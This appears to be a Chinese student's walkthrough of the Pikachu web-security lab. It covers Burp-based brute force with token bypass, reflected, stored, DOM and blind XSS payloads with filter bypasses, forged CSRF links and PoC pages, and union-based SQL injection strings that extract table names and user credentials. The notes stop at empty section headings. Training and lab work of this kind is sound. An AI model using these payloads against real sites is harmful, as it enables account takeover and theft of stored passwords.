关一:(Burte Force)暴力破解
一:基于表单的暴力破解
send to intruder
选择集束炸弹模式——Cluster bomb
传入密码库
开始攻击,找差异的长度对应的密码
登录成功
二:验证码绕过on server
验证码的实现位置有两个——客户端(前端),和服务器端(后端)
前者可以通过禁用is来绕过,比较不安全
根据提示我们知道第二小关是后端实现的验证码,并且可以发现只有在刷新页面的时候验证码才会刷新,所以输入的正确验证码,再提交bp抓包,其余的流程跟前面一样
三:验证码绕过 on client
输入正确验证码,但账号名和密码错误时,会出现如下提示,验证码自动刷新
验证码错误的话,则会出现弹窗
所以f12+f1,高级设置里面禁用js,然后bp抓包,流程仍然和上面一样
四:token防爆破
正常bp抓包,
send to intruder
开始攻击,选择pitchfork交叉攻击模式
跟上面流程一样,先clear干净,再把password和token add进去
去setting里面找到Grep-Extract
点add进去,点Refetch response
在出现的代码里面找到我们所需的value值并且复制
set1位置还正常添加我们的passowrd字典,set2位置的payload type改成Recursive grep,然后把value值粘贴过去
开始攻击,按长度找到所需密码
登陆成功
关二:Cross-Site Scripting
缩写css,为了避免冲突,实际上也就是xss漏洞,其中xss漏洞大致分为三种类型
1.反射性xss(恶意链接触发)
2.存储型xss(插入恶意脚本)
3.dom型xss(url里触发)
xss常用的测试语句有:
- <script>alert('lee')</script>
- <a herf="#" οnclick="alert('lee')">
- <img src=x οnerrοr="alert('rerelee')">
这里附上dvwa靶场当中的xss漏洞,可以做个参考
dvwa11——XSS(Reflected)_dvwa xss加固源码分析-CSDN博客
一:反射型xss(get)
先尝试代码1插入,发现有长度限制,于是我们通过修改源代码修改输入框限制长度
首先找到对应的html代码段,这里我们可以发现输入框内的最大长度被卡在了20,手动把他修改到70,然后再开始攻击
提交代码段,成功回显
<script>alert('xssreflected')</script>
二:反射性xss(post)
这一关是post型的,我们先根据前面获得的账号和密码登录进去
然后从框插进去和上一关一样
先查看前端代码框内是否有长度限制,没有限制,直接插入
回显成功
三:存储型xss
这一关和前一关反射型xss的区别是,存储型页面实现的功能是获取用户插入的内容,然后将其插入到数据库中,并且讲数据库的留言信息输出到页面上,我们来直接把代码写入框
提交,回显
然后我们无论再在留言板种输入什么,都只会回显这一个内容,因为恶意代码已经“存储”进了数据库,比如我们输入1
四:DOM型xss
使用dom型xss可以实时更新和访问文档内容,先随便输入一串字符,发现这一串代码出现了变化
这时候我们点看what do you see 的超链接,可以发现页面直接跳转404 not found了
所以我们直接在页面源代码上进行注入,也就是在超链接标签上改动
这里补充一个知识点,在xss攻击种,事件处理器常用于触发恶意js代码
比如:
onclick
(点击时触发)onerror
(加载失败时触发)onmouseover
(鼠标悬停时触发)
这里我们构造onclick,使得xss回显在点击超链接之后,注意观察可以发现源代码内已经给了提示
直接照样在空白栏插入
' onclick=alert('xssssss')>
回显成功
五: DOM型xss-x
跟上一节一样,只是多了一个点击步骤,回显成功
' onclick=alert('xssssss')>
六:xxs之盲打
首先介绍一下xss盲打,当攻击者注入xss代码之后,无法在前端看到执行结果,攻击结果只存储在后台或者管理员能看到的地方,常见于留言板,客服系统
特征就是:
- 前端无回显
- 后台管理员查看留言内容
这一关在提示中给出了后台查看的地址
在留言板中正常输入我们的攻击代码,正常提交
<script>alert('xsssssss盲打')</script>
提交信息 ,根据提示地址进入后台,登录密码在新界面的提示中:admin 123456
登陆后成功回显
七:xss之过滤
核心原则是:在数据进入系统的时候,过滤并拒绝危险字符,
比如黑名单,白名单过滤,html转义,js转义,url转义
一些常见的绕过手法比如大小写绕过,转义字符绕过
我们先逐个尝试提交<script>
发现写到<script之前回显全是空白,所以是这个标签被过滤了
- 可以尝试大小写绕过
<sCriPt>alert('leexss')</ScripT>
或者换一种方法来写攻击代码`234
<a herf="#" onclick="alert('lee')">
八:xss之htmlspecialchars()
先了解一下这个函数的作用,htmlspecialchars()可以帮助我们找到危险符号,把他转换成html实体
比如
<script>alert("XSS")</script>
//如果没有转义
//得到这个:
<div>
<script>alert("XSS")</script> <!-- 直接执行弹窗! -->
</div>
//转义完毕:
<div>
<script>alert("XSS")</script> <!-- 显示为文字,不会执行! -->
</div>
也就是说,浏览器只会显示这段文字,而不会把他当作代码执行
我们尝试构造<a herf="#" οnclick="alert('lee')">这个标签
' onclick='alert("lee")
九:xss之href输出
首先我们分析一下这一关的html,可以发现我们在输入lee之后,输入框下面的超链接跳转内容变成了我输入的内容,没有任何过滤
这时候我们就可以把这段内容改成我们的目标入侵网址等等
这里我们尝试写入几个js的alert代码
注意!!在代码之前要加上javascript的伪协议,这样才能告诉编译器后后面要执行的是js代码
举例几个
有关alert函数这里做一个补充:
alert函数只会弹出对话框,但只显示字符串的内容,不会显示包裹字符串的引号,如果要显示引号,需要在外再加一层
javascript:alert(55555)
javascript:alert("lee")
javascript:alert("'lee'")
这里再附上这几组代码的显示结果
十:xss之js输出
我们点击右键查看页面的源代码,可以看到关于输入内容进一步判断的js代码
随便先输入一下lee,发现这里出现了变化
就可以利用这个变化提前进行script标签的闭合,然后把后面的判断注释掉
';javascript:alert(1111)//
其中alert中关于引号的规则与上面相同
回显成功
关三:CSRF
浅浅总结一下我理解的CSRF———Cross-site request forgery(跨站请求伪造),攻击者通过恶意链接等手段,诱导用户访问恶意页面,进而实现攻击目标
附上dvwa有关csrf的靶场攻略
一:CSRF(get)(恶意链接)
先看一下右上角的提示
这里我们尝试最后一组密码lucy与123456,发现得到一组可修改的个人信息
然后在上面修改信息,提交的时候用bp抓包一下,这里我把地址改成了hacker,其余自由发挥
在点submit的时候用bp抓包,得到如下,我们从里面抓取关键信息,用关键信息拼接url,
GET /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=123123&add=hacker&email=123123%40pp.com&submit=submit HTTP/1.1
其实我们可以发现这一行代码中没有用户名,所以是谁登录都无所谓,我们右键copy复制url
可以发现,我们在repeat里面任意修改这几个可修改的参数,再copyurl,这样被攻击者直接点开的url就是被修改过的,比如我再把hacker改成hacker1111
http://192.168.37.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=123123&add=hacker1111&email=123123%40pp.com&submit=submit
新启动一个页面然后打开,这个url就是我们的恶意攻击链接,目标用户一旦点开,攻击则有效
为了进一步隐藏,我们也可以利用一些小工具修饰url,使攻击效果更加隐蔽
二:CSRF(post)(恶意网页)
首先介绍一下黑客站点:是一个攻击者做的假网站,目标用户一旦访问,就会自动对用户发起恶意请求
我们还是用bp拦截一下submit,得到如下
右键generate CSRF PoC,我们就得到了csrf的html代码
创建一个新html文件,把代码复制粘贴进去,对代码进行我们想要的修改
在火狐的界面直接ctrl-o打开我们修改后的html文件
可以看到修改成功了
关四:SQL inject
有关sql的一点复习:
先解释一点名词:
information_schema.tables:包含数据库中的所有表
table_scheme:数据库名称
table_name:表名
information_schema.columns:包含数据库中所有表的列的信息
column_name:列名
table_name:表名
梳理一下错误类型:
基于错误注入:
数字型错误注入,字符型错误注入,括号型错误注入,附上判断流程
注:字符型和括号型必须结尾闭合--+
布尔盲注:
先确定是否存在注入点,判断完类型之后在后面加上and判断
?id=1' AND '1'='1 -- 页面正常(True)
?id=1' AND '1'='2 -- 页面异常(False)
基本步骤
1.爆库名长度
2.根据长度爆库名
3.根据当前库爆表名数量
4.爆表名长度
5.爆表名
6.根据表爆列数量
7.爆列名长度
8.爆列名
9.爆数据值
其中逐个字母爆数据库名表名列名可以使用python脚本来运行
时间盲注:通过时间延迟判断结果,利用时间函数sleep(n),构造条件语句,如果条件为真,延迟n秒,如果为假,页面快速响应
关键函数:
sleep(n)
让数据库等待n秒
if(条件,真时执行,假时执行‘’)
判断
substr(str,start,length)
substr("hello",1,1)返回h
子主题 4
ascii(char)
ascii('a')=97
如果条件为假 → 不延迟 → 页面快速响应
再补充几个常用sql语句
常用sql语句
增删改查
增
自增
auto_increment
插入
insert into tablename(列1,列2...) values(值1,值2...)
删
删除数据
delete from 表名 where 列名 = 值
删除库
drop database 库名
改
update 表名 set 列名 = 新值 where 列名 = 某值
查
select 列名 from 表名 where 字段1='条件1'and字段2='条件2'
select+聚合函数
去重函数
select distinct
数据库名
database()
多行数据合并成一个字符串
group_concat(str1,str2,...)
没有分隔符地连接字符串
concat(str1,str2,...)
含有分隔符地连接字符串
concat_ws(separator,str1,str2,...)
关键字
注释
--(空格)
内联注释
/**/
绕过防火墙注释(WAF)
/*!语句*/
一:数字型注入:
先bp查询抓包
我们测试几组数据
id=1'--+数字型报错,其余不爆
id=1 and 1=1--+正常回显
id=1 and 1=2--+回显但内容空白
确定是数字型,然后order by判断列数,确定有两列
id=1 order by 2--+回显正常
id=1 order by 3--+报错
union select查询回显位置
id=-1 union select 1,2--+
用database()和version()函数获取数据库名和版本号
获取所有表名
id=-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+&
获取users表所有的列名
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
爆用户名和密码
id=-1 union select username,password from users--+
二:字符型注入
三:搜索型注入
四: